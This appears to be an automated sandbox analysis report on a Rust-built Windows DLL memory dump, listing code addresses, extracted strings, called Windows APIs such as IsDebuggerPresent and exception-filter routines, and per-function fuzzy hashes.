0x6ebeaba7
0x6ebeabc2
0x6ebeabc5
0x6ebeabca
0x6ebeac15
0x6ebeac1a
0x6ebeac1f
0x6ebeac24
0x6ebeac7f
0x00000000
0x6ebeac26
0x6ebeac26
0x6ebeac2a
0x00000000
0x6ebeac2c
0x6ebeac2c
0x6ebeac2e
0x6ebeac32
0x00000000
0x6ebeac32
0x6ebeac2a
0x6ebeabcc
0x6ebeabcc
0x6ebeabd1
0x6ebeafaf
0x6ebeafaf
0x6ebeafb4
0x6ebeb014
0x6ebeb019
0x6ebeb01e
0x00000000
0x6ebeb024
0x6ebeb024
0x6ebeb027
0x6ebeb02f
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebeb02f
0x00000000
0x00000000
0x00000000
0x6ebeabd7
0x6ebeabd7
0x6ebeabdd
0x6ebeafb6
0x6ebeafb9
0x6ebeafbe
0x6ebeb053
0x6ebeb056
0x6ebeb058
0x6ebeb3b2
0x6ebeb3b4
0x6ebeb3b8
0x6ebeb3bd
0x6ebeb3bd
0x6ebeb3be
0x00000000
0x6ebeb05e
0x6ebeb05e
0x6ebeb061
0x6ebeb068
0x6ebeb06a
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebeb06a
0x6ebeafc4
0x6ebeafc4
0x6ebeafc7
0x6ebeb035
0x6ebeb035
0x6ebeb038
0x6ebeb03a
0x00000000
0x6ebeb040
0x6ebeb040
0x6ebeb043
0x6ebeb04a
0x6ebeb04c
0x00000000
0x6ebeb04e
0x00000000
0x6ebeb04e
0x6ebeb04c
0x6ebeafc9
0x6ebeafc9
0x6ebeafce
0x6ebeafd3
0x00000000
0x6ebeafd9
0x6ebeafe8
0x6ebeafeb
0x6ebeaff0
0x00000000
0x6ebeaff6
0x6ebeaff6
0x6ebeaff9
0x6ebeaffb
0x6ebeb3e8
0x6ebeb3e8
0x6ebeb3ea
0x6ebeb3ee
0x6ebeb3f3
0x6ebeb3f3
0x6ebeb3f4
0x00000000
0x6ebeb001
0x6ebeb001
0x6ebeb004
0x6ebeb00b
0x6ebeb00d
0x6ebeb070
0x6ebeb070
0x6ebeb074
0x6ebeb076
0x6ebeb080
0x6ebeb080
0x6ebeb082
0x00000000
0x00000000
0x6ebeb084
0x6ebeb088
0x6ebeb08b
0x00000000
0x6ebeb08d
0x00000000
0x6ebeb08d
0x00000000
0x6ebeb08b
0x6ebeb092
0x6ebeb097
0x6ebeb09b
0x6ebeb0a5
0x6ebeb0a9
0x6ebeb0b1
0x6ebeb0b9
0x6ebeb0c1
0x6ebeb0ce
0x6ebeb0d0
0x6ebeb3c2
0x6ebeb3ce
0x6ebeb3de
0x6ebeb3e3
0x6ebeb3e6
0x00000000
0x6ebeb0d6
0x6ebeb0d6
0x6ebeb0db
0x6ebeb0df
0x00000000
0x6ebeb0e5
0x6ebeb0e5
0x6ebeb0e9
0x6ebeb0ed
0x6ebeb0f1
0x6ebeb0f3
0x6ebeb2cd
0x6ebeb2cd
0x00000000
0x6ebeb0f9
0x6ebeb0f9
0x6ebeb103
0x6ebeb106
0x6ebeb2c9
0x00000000
0x6ebeb10c
0x6ebeb114
0x6ebeb119
0x6ebeb11d
0x6ebeb121
0x6ebeb12f
0x6ebeb137
0x6ebeb144
0x6ebeb146
0x00000000
0x6ebeb14c
0x6ebeb14c
0x6ebeb151
0x6ebeb155
0x6ebeb15a
0x00000000
0x6ebeb160
0x6ebeb164
0x6ebeb168
0x6ebeb16c
0x6ebeb2d1
0x6ebeb2d1
0x6ebeb2d3
0x6ebeb2f7
0x6ebeb2f7
0x6ebeb2fb
0x6ebeb2fd
0x6ebeb305
0x6ebeb307
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebeb2d5
0x6ebeb2d5
0x6ebeb2d7
0x6ebeb2f5
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebeb2d9
0x6ebeb2d9
0x6ebeb2dd
0x6ebeb2e1
0x00000000
0x6ebeb2e3
0x6ebeb2e3
0x6ebeb2e3
0x6ebeb2e5
0x6ebeb2e9
0x6ebeb2ee
0x6ebeb2ef
0x00000000
0x6ebeb2ef
0x6ebeb2e1
0x6ebeb2d7
0x6ebeb2d3
0x6ebeb15a
0x6ebeb146
0x6ebeb106
0x6ebeb0f3
0x6ebeb0df
0x6ebeb00f
0x00000000
0x6ebeb00f
0x6ebeb00d
0x6ebeaffb
0x6ebeaff0
0x6ebeafd3
0x6ebeafc7
0x6ebeabe3
0x6ebeabe3
0x6ebeabe8
0x6ebeabed
0x6ebeabf2
0x6ebeac93
0x00000000
0x6ebeabf8
0x6ebeabf8
0x6ebeabfc
0x6ebeac9b
0x6ebeac9b
0x6ebeac9f
0x6ebeac9f
0x6ebeaca1
0x6ebeaca8
0x6ebeacac
0x6ebeacb0
0x6ebeacb0
0x6ebeacb2
0x00000000
0x00000000
0x6ebeacb4
0x6ebeacb5
0x6ebeacb8
0x6ebeacbb
0x00000000
0x6ebeacbd
0x00000000
0x6ebeacbd
0x00000000
0x6ebeacbb
0x6ebeacc2
0x6ebeacc4
0x00000000
0x6ebeacca
0x6ebeacca
0x6ebeacce
0x6ebeacd2
0x6ebeacd7
0x6ebeacdb
0x6ebeacde
0x6ebeace0
0x6ebead6c
0x6ebead6c
0x6ebeace6
0x6ebeace6
0x6ebeacea
0x6ebeacec
0x6ebeacef
0x6ebeacf1
0x6ebeacf5
0x6ebeacfc
0x6ebead00
0x6ebead00
0x6ebead00
0x6ebead03
0x6ebead06
0x6ebead09
0x6ebead23
0x00000000
0x6ebead0b
0x6ebead0b
0x6ebead0f
0x6ebead11
0x6ebead27
0x6ebead27
0x6ebead29
0x6ebead13
0x6ebead13
0x6ebead16
0x6ebead17
0x6ebead1b
0x6ebead1b
0x6ebead2e
0x6ebead30
0x6ebead33
0x6ebead48
0x6ebead4c
0x6ebead53
0x6ebead35
0x6ebead35
0x6ebead39
0x6ebead57
0x6ebead57
0x6ebead3b
0x6ebead3b
0x6ebead3e
0x6ebead3f
0x6ebead43
0x6ebead43
0x6ebead5c
0x6ebead68
0x6ebead68
0x6ebead6a
0x00000000
0x6ebead6a
0x6ebead33
0x6ebead09
0x6ebead70
0x6ebead74
0x6ebead77
0x6ebead7f
0x6ebeb175
0x00000000
0x6ebead85
0x6ebead85
0x6ebead8b
0x6ebead91
0x6ebead99
0x6ebead99
0x6ebead99
0x6ebead9c
0x6ebead9f
0x00000000
0x00000000
0x6ebeada5
0x6ebeadcc
0x6ebeadd1
0x6ebeadd6
0x6ebeadd8
0x6ebeaddd
0x00000000
0x00000000
0x6ebeade3
0x6ebeade7
0x6ebeade9
0x00000000
0x6ebeadef
0x6ebeadef
0x6ebeadf3
0x6ebeadf7
0x00000000
0x6ebeadfd
0x6ebeadfd
0x6ebeae00
0x6ebeae03
0x6ebeae06
0x6ebeae08
0x6ebeae18
0x6ebeae1c
0x6ebeae1e
0x6ebeae20
0x6ebeae46
0x6ebeae48
0x6ebeae4c
0x6ebeae4f
0x6ebeae52
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebeae22
0x6ebeae22
0x6ebeae24
0x6ebeae2f
0x6ebeae33
0x6ebeae35
0x6ebeae38
0x6ebeae3b
0x6ebeae3e
0x6ebeada9
0x6ebeada9
0x6ebeadb0
0x6ebeadb0
0x6ebeadb2
0x00000000
0x6ebeae44
0x6ebeae58
0x6ebeae58
0x6ebeae5c
0x6ebeae5e
0x6ebeae96
0x6ebeae98
0x6ebeae9f
0x6ebeaea1
0x6ebeaea4
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebeae60
0x6ebeae64
0x6ebeae6a
0x6ebeae70
0x6ebeae72
0x6ebeae75
0x6ebeaea6
0x6ebeaea9
0x00000000
0x6ebeae77
0x6ebeae77
0x6ebeae77
0x6ebeae7b
0x6ebeae7f
0x6ebeae83
0x6ebeae85
0x6ebeaeb0
0x6ebeaeb0
0x6ebeaeb2
0x6ebeae87
0x6ebeae8b
0x6ebeae91
0x6ebeae91
0x6ebeaebc
0x6ebeaec5
0x6ebeaec7
0x6ebeaecd
0x6ebeaecf
0x00000000
0x6ebeaed5
0x00000000
0x6ebeaed5
0x6ebeaecf
0x6ebeae75
0x6ebeae5e
0x6ebeae3e
0x6ebeae0a
0x6ebeae0a
0x6ebeae0e
0x6ebeae0e
0x6ebeae12
0x6ebeadc0
0x6ebeadc0
0x6ebeadc3
0x6ebeadc6
0x6ebeaeda
0x6ebeaede
0x6ebeaee0
0x6ebeaf07
0x6ebeaf07
0x6ebeaf09
0x00000000
0x00000000
0x6ebeaf0f
0x6ebeaf12
0x6ebeaf15
0x6ebeaf18
0x6ebeaf1a
0x6ebeaefe
0x6ebeaf02
0x00000000
0x6ebeaf1c
0x6ebeaf1c
0x6ebeaf1e
0x6ebeaf3f
0x6ebeaf41
0x6ebeaf43
0x6ebeaf46
0x6ebeaf49
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebeaf20
0x6ebeaf20
0x6ebeaf24
0x6ebeaf27
0x6ebeaf2a
0x6ebeaf2d
0x6ebeaf30
0x6ebeaf4b
0x6ebeaf4b
0x6ebeaf52
0x00000000
0x6ebeaf32
0x6ebeaf32
0x6ebeaf32
0x6ebeaf34
0x6ebeaf56
0x6ebeaf58
0x6ebeaf58
0x6ebeaf36
0x6ebeaf36
0x6ebeaf39
0x6ebeaf3a
0x6ebeaf3a
0x6ebeaf5d
0x6ebeaf5f
0x6ebeaf62
0x6ebeaf75
0x6ebeaf79
0x6ebeaf80
0x00000000
0x6ebeaf64
0x6ebeaf64
0x6ebeaf68
0x6ebeaf6a
0x6ebeaf84
0x6ebeaf84
0x6ebeaf86
0x6ebeaf6c
0x6ebeaf6c
0x6ebeaf6f
0x6ebeaf70
0x6ebeaf70
0x6ebeaf8e
0x6ebeaf97
0x6ebeaf99
0x6ebeaf9d
0x6ebeafa3
0x6ebeafa5
0x6ebeaf04
0x6ebeaf04
0x6ebeaf04
0x6ebeaf05
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebeafa5
0x6ebeaf62
0x6ebeaf30
0x6ebeaf1e
0x00000000
0x6ebeaf1a
0x00000000
0x6ebeaee2
0x6ebeaee2
0x6ebeaee2
0x6ebeaee6
0x6ebeaeea
0x6ebeaeed
0x6ebeaeef
0x6ebeaef3
0x00000000
0x6ebeaef9
0x6ebeb17d
0x6ebeb17d
0x6ebeb181
0x6ebeb183
0x6ebeb30d
0x6ebeb30d
0x6ebeb30d
0x00000000
0x6ebeb189
0x6ebeb189
0x6ebeb189
0x6ebeb18d
0x6ebeb190
0x00000000
0x6ebeb196
0x6ebeb196
0x6ebeb19a
0x6ebeb19e
0x6ebeb1a0
0x6ebeb1a2
0x6ebeb1a4
0x6ebeb1a7
0x6ebeb1a9
0x6ebeb260
0x6ebeb260
0x00000000
0x6ebeb1af
0x6ebeb1cf
0x6ebeb1d1
0x6ebeb1d4
0x6ebeb1d6
0x6ebeb20e
0x6ebeb210
0x6ebeb212
0x6ebeb215
0x6ebeb218
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebeb1d8
0x6ebeb1df
0x6ebeb1e1
0x6ebeb1e4
0x6ebeb1e7
0x6ebeb1ea
0x6ebeb21a
0x6ebeb21d
0x00000000
0x6ebeb1ec
0x6ebeb1ec
0x6ebeb1ec
0x6ebeb1ee
0x6ebeb223
0x6ebeb228
0x6ebeb22a
0x6ebeb22d
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebeb1f0
0x6ebeb1f0
0x6ebeb1f3
0x6ebeb1fa
0x6ebeb1fc
0x6ebeb1ff
0x6ebeb22f
0x6ebeb232
0x00000000
0x6ebeb201
0x6ebeb201
0x6ebeb201
0x6ebeb203
0x6ebeb236
0x6ebeb236
0x6ebeb238
0x6ebeb205
0x6ebeb205
0x6ebeb208
0x6ebeb209
0x6ebeb209
0x6ebeb245
0x6ebeb247
0x6ebeb24d
0x6ebeb263
0x6ebeb26b
0x6ebeb26e
0x6ebeb2a0
0x6ebeb2a0
0x6ebeb2a2
0x6ebeb1c0
0x6ebeb1c2
0x6ebeb1c4
0x6ebeb1c7
0x6ebeb1c9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebeb270
0x6ebeb270
0x6ebeb273
0x6ebeb276
0x00000000
0x6ebeb278
0x6ebeb278
0x6ebeb27b
0x6ebeb27e
0x00000000
0x6ebeb280
0x6ebeb280
0x6ebeb283
0x6ebeb286
0x00000000
0x6ebeb288
0x6ebeb288
0x6ebeb28b
0x6ebeb28e
0x00000000
0x6ebeb290
0x6ebeb293
0x6ebeb296
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebeb296
0x6ebeb28e
0x6ebeb286
0x6ebeb27e
0x6ebeb276
0x6ebeb24f
0x6ebeb2a8
0x6ebeb2a8
0x6ebeb2ac
0x6ebeb2b0
0x6ebeb30f
0x6ebeb30f
0x6ebeb317
0x6ebeb31e
0x6ebeb321
0x6ebeb328
0x6ebeb32b
0x6ebeb332
0x6ebeb335
0x6ebeb339
0x6ebeb339
0x6ebeb24d
0x6ebeb1ff
0x6ebeb1ee
0x6ebeb1ea
0x6ebeb1d6
0x6ebeb1a9
0x6ebeb190
0x00000000
0x6ebeb183
0x6ebeaef3
0x00000000
0x00000000
0x00000000
0x6ebeadc6
0x6ebeae08
0x6ebeadf7
0x00000000
0x6ebeade9
0x6ebeafab
0x6ebeafab
0x00000000
0x6ebeafab
0x6ebead99
0x00000000
0x6ebead8b
0x6ebead7f
0x6ebeac02
0x6ebeac02
0x6ebeac04
0x6ebeac08
0x6ebeac0d
0x6ebeac0e
0x00000000
0x6ebeac0e
0x6ebeabfc
0x6ebeabf2
0x6ebeabdd
0x6ebeabd1
0x6ebeaba9
0x6ebeb2bb
0x6ebeb2bb
0x6ebeb2bf
0x6ebeb2c8
0x6ebeb2c8
0x6ebeaba7
0x6ebeab93
0x6ebeaa80
0x6ebeaa72
0x6ebeaa63
0x6ebeaa40
0x6ebeaa40
0x6ebeaa43
0x6ebeaa5a
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebeaa45
0x6ebeaa45
0x6ebeaa49
0x00000000
0x6ebeaa4b
0x6ebeaa4b
0x6ebeaa4b
0x6ebeaa4e
0x6ebeaa53
0x6ebeaa54
0x00000000
0x6ebeaa54
0x6ebeaa49
0x6ebeaa43
0x6ebeaa3e
0x00000000
0x6ebea7dc
0x6ebea7e0
0x6ebea7e4
0x6ebea7e7
0x00000000
0x6ebea7ef
0x6ebea741
0x6ebea72f
0x00000000

Strings

$, xrefs: 6EBEBA23
called `Result::unwrap()` on an `Err` value, xrefs: 6EBEBF8D
$, xrefs: 6EBEBA33
`fmt::Error`s should be impossible without a `fmt::Formatter`, xrefs: 6EBEB3C9
.assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb, xrefs: 6EBEBB04, 6EBEBEC7
.llvm.C:svwynxjwzbblyzyvbzvnadthqulrlxkuotzeuguljzqomqtcmfyjwyjxmyqztcdrlrqahaumjphvoxxzmknnzpgbuuldukigsulxy, xrefs: 6EBEA6ED
@*&<>()C,, xrefs: 6EBEBE70, 6EBEBF32
SizeLimitExhausted, xrefs: 6EBEC0D9
__ZN, xrefs: 6EBEABD7
called `Option::unwrap()` on a `None` value, xrefs: 6EBEBF6E
h, xrefs: 6EBEB6EB

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: $$$$.assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb$.llvm.C:svwynxjwzbblyzyvbzvnadthqulrlxkuotzeuguljzqomqtcmfyjwyjxmyqztcdrlrqahaumjphvoxxzmknnzpgbuuldukigsulxy$@*&<>()C,$SizeLimitExhausted$__ZN$`fmt::Error`s should be impossible without a `fmt::Formatter`$called `Option::unwrap()` on a `None` value$called `Result::unwrap()` on an `Err` value$h
API String ID: 0-2155986594
Opcode ID: f4d33261461ca6bde4ed39cd0a9779a0a997537f3bb08ac4413d4e3f97d5aa34
Instruction ID: 3d9139884d99bbcbb2c902371c4db4c72de8e879e659843fb9da3651f38159e1
Opcode Fuzzy Hash: f4d33261461ca6bde4ed39cd0a9779a0a997537f3bb08ac4413d4e3f97d5aa34
Instruction Fuzzy Hash: 1FE2F6316083928FD724CE98C4D065ABFE2EFC5390F148A2DE4E59BB99D731D845CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE5EA0, Relevance: 10.9, Strings: 8, Instructions: 927COMMON

Download Yara Rule

Strings

_, xrefs: 6EBEA35B
" fn( -> = { }truefalse{0x, xrefs: 6EBEA519
)C,, xrefs: 6EBEA1FD
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EBE6309
H, xrefs: 6EBE5FD9
{recursion limit reached}{invalid syntax}, xrefs: 6EBEA445
called `Option::unwrap()` on a `None` value, xrefs: 6EBEA6AF
_, xrefs: 6EBEA34B

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: " fn( -> = { }truefalse{0x$)C,$?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$H$_$_$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 0-4270729952
Opcode ID: c1fefec2aff6d2e34177bf57b56e5234d23883a28945d5896e3bd56a1ffe518c
Instruction ID: e63a4dfb4d487f77e55fb3473969a32f9bf23653b8878aa43dd5fe9e06df3dc8
Opcode Fuzzy Hash: c1fefec2aff6d2e34177bf57b56e5234d23883a28945d5896e3bd56a1ffe518c
Instruction Fuzzy Hash: 526234707183858FE7548FA8D46035ABFF6EF81384F14892CE9998BB85E771D849CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE75F4, Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 423COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6EBE7723
__aulldiv.LIBCMT ref: 6EBE7733

Strings

bool, xrefs: 6EBE788B
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EBE7602, 6EBE7A59
{recursion limit reached}{invalid syntax}, xrefs: 6EBE7C06
called `Option::unwrap()` on a `None` value, xrefs: 6EBE79BC

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$bool$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 3839614884-433696047
Opcode ID: a18f3ef341850bf1d31213b3e47dabeac2730e1e234975b195cb9a9786f94cee
Instruction ID: b82d11d19cc95bd6224d79f318e662942775379fc6024314f3d42b5481fce895
Opcode Fuzzy Hash: a18f3ef341850bf1d31213b3e47dabeac2730e1e234975b195cb9a9786f94cee
Instruction Fuzzy Hash: 45E107716087A19FD304CFA8C86075ABFE1EF86354F14896DD8958B7D2E3B4D846CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFD1CC, Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6EBFD1D8
IsDebuggerPresent.KERNEL32 ref: 6EBFD2A4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6EBFD2C4
UnhandledExceptionFilter.KERNEL32(?), ref: 6EBFD2CE

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: cd939c69258102d85c652e17cda1b00a7481589619b6ad72fe6c5107dc911a25
Instruction ID: 10e88f02e9acf3028a27b846bceb43d95541deb9ea29e9df4b957867a3eaa491
Opcode Fuzzy Hash: cd939c69258102d85c652e17cda1b00a7481589619b6ad72fe6c5107dc911a25
Instruction Fuzzy Hash: C3310575D1525CDBEB10DFA4D989BCCBBB8AF08304F1040AAE44DAB240EB719B89CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6EC029E6, Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6EC02ADE
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6EC02AE8
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6EC02AF5

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d79bf9fb70716f0a1d23e94e705ceb672e5ed03b82a69fffef9224c51b9a1957
Instruction ID: 186c1b35dc8fbe11aa1d9c17976a8ae60a10577358183396ee0494d267b30ad8
Opcode Fuzzy Hash: d79bf9fb70716f0a1d23e94e705ceb672e5ed03b82a69fffef9224c51b9a1957
Instruction Fuzzy Hash: 2C31C37491122CEBCB61DF64D988BCCBBB8BF48314F5045EAE41DA7250EB709B858F54

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE9D50, Relevance: 4.0, Strings: 3, Instructions: 233COMMON

Download Yara Rule

Strings

?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EBE9DB6
{recursion limit reached}{invalid syntax}, xrefs: 6EBE9FC2
<>()C,, xrefs: 6EBE9DED

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: <>()C,$?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "${recursion limit reached}{invalid syntax}
API String ID: 0-2241449410
Opcode ID: 65713c569a3a3cccf9c48568ae300b1f5efea9cc6061bf1eecb51d2e9a57a80b
Instruction ID: cdadbd1aa62df17cf57a88860938b4f785dee8ca79e3a810d39f2ffd2df1fe7a
Opcode Fuzzy Hash: 65713c569a3a3cccf9c48568ae300b1f5efea9cc6061bf1eecb51d2e9a57a80b
Instruction Fuzzy Hash: 2981F3307087828FE729CEA5C05075ABBE6DF85390F04C9ADD4EA8BB56E734E48D8741

Uniqueness

Uniqueness Score: -1.00%

Function 6EBF01D0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 732COMMON

Download Yara Rule

Strings

<unknown>, xrefs: 6EBF0253

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess
String ID: <unknown>
API String ID: 1617791916-1574992787
Opcode ID: 4ba017cd0130c111e3533d7a8a5970f65ec2da229adefdac9f488f78249e2053
Instruction ID: 25bce4e450839dcc3333fe0ee2cd677d21299582746e292019b992ae36ccfb00
Opcode Fuzzy Hash: 4ba017cd0130c111e3533d7a8a5970f65ec2da229adefdac9f488f78249e2053
Instruction Fuzzy Hash: 05628B71E042A9CFDF15CFE8C8A07DDBBB1AF49304F1481A9D859B7262E770598ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE1C10, Relevance: 2.8, Strings: 2, Instructions: 317COMMON

Download Yara Rule

Strings

{invalid syntax}, xrefs: 6EBE1F98
?, xrefs: 6EBE1CCB

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ?${invalid syntax}
API String ID: 0-3691751180
Opcode ID: 1ff2bb79d7930aabf94cd35e27c8dcc187b7e30fac9ad3f17000e5e06456fcc2
Instruction ID: cf90c9c1d9004831888a0f12799e7f9a799a87c6e8019e556946d64b3dbc55a9
Opcode Fuzzy Hash: 1ff2bb79d7930aabf94cd35e27c8dcc187b7e30fac9ad3f17000e5e06456fcc2
Instruction Fuzzy Hash: 12B12C315183A58FC7098FA9C490559BBA2EF86390F2CC75EF8E55BB41D731D84AC781

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE66E0, Relevance: 2.8, Strings: 2, Instructions: 252COMMON

Download Yara Rule

Strings

{invalid syntax}, xrefs: 6EBE697D
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EBE66F9

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "${invalid syntax}
API String ID: 0-903684146
Opcode ID: 7b00f432bd55affe94533eaa1a30e88f8a5619c62651534a8a51cfd7ec2547fc
Instruction ID: 3cc5517b7b1d3b2af12758da165fd1a62489831942409285379f86bff7cb7074
Opcode Fuzzy Hash: 7b00f432bd55affe94533eaa1a30e88f8a5619c62651534a8a51cfd7ec2547fc
Instruction Fuzzy Hash: 738145787343C14FEB648EE58460366BFE2AF85394F14882DCB9A8BF4DE764A4458343

Uniqueness

Uniqueness Score: -1.00%

Function 6EC00A61, Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,6EC00A5C,?,?,?,?,?,?,00000000), ref: 6EC00C8E

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

